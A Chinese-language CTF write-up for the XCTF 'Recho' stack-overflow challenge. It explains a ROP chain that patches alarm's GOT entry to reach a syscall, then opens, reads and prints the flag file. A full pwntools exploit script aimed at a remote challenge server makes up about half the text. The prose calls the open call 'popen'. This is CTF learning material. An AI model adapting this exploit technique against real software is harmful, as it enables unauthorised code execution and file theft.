XCTF-Recho-WP
这道题目本身挺有意思的,但是让我感到如鲠在喉,因为莫名其妙的拿不到flag。更加莫名奇妙的是吃了个饭回来就可以拿flag了,想想唯一的区别是关了vpn,这个也能有影响?
说实话刚开始的时候我也没觉得这题有什么特别的

不就是简单的栈溢出嘛,libc那一套太容易了,然鹅while中的判断让这种方法失去了可能,让read返回0是困难的,必须断开输入连接(这个可以通过pwntools中的sh.shutdown("send")
方法实现),这样我们就无法再次输入了。所以必须在一个rop链中直接实现get flag。同时

文件名flag已经给出了,所以我们可以考虑在链中进行popen->read->write,程序中没有动态链接popen这个函数,所以要考虑系统调用,考虑到事实上每个glibc封装的函数中需要通过内核态的函数都用了系统调用,我们只要利用某个函数的syscall就可以了。

考虑使用alarm,因为我们利用时不可能直接ret到syscal(syscall在libc里面),却要避开syscall前对寄存器的修改,这样就要修改got表中跳转的位置,就会破坏对函数的正常调用,alarm作为一个没什么用处的函数用起来再方便不过了。

这里我们要用到这两个gadgets中的其中一个,实现对got表的修改。我们将alarm的got表值加5,调用alarm的时候就可以执行syscall了。别的gadgets是一点都不缺的,之后popen等的调用都很容易地可以实现
所以就有了exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh = process('./Recho')
sh = remote("220.249.52.134","35280")
context(log_level = 'debug',arch = 'amd64',os = 'linux')
elf = ELF('./Recho')
pop_rax_ret = 0x4006fc
pop_rdi_ret = 0x4008a3
pop_rsi_r15_ret = 0x4008a1
pop_rdx_ret = 0x4006fe
add_rdi_al_ret = 0x40070d
payload = 'a' * 0x30 + 'b' * 0x8
payload += p64(pop_rax_ret) + p64(0x5)
payload += p64(pop_rdi_ret) + p64(elf.got['alarm'])
payload += p64(add_rdi_al_ret)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(0x601058) #'flag' addr
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(0) * 2 #read type
payload += p64(elf.symbols['alarm'])
payload += p64(pop_rdi_ret) + p64(3) #fd = 3
payload += p64(pop_rsi_r15_ret) + p64(0x601090) + p64(0) #read to
payload += p64(pop_rdx_ret) + p64(0x30) #len
payload += p64(elf.symbols["read"])
payload += p64(pop_rdi_ret) + p64(1) #fd =1 stdout
payload += p64(pop_rsi_r15_ret) + p64(0x601090) + p64(0) #read to
payload += p64(pop_rdx_ret) + p64(0x30) #len
payload += p64(elf.symbols["write"])
sh.sendlineafter("server!\n",str(len(payload)))
sh.sendline(payload)
sh.recv()
sh.shutdown("send")
sh.interactive()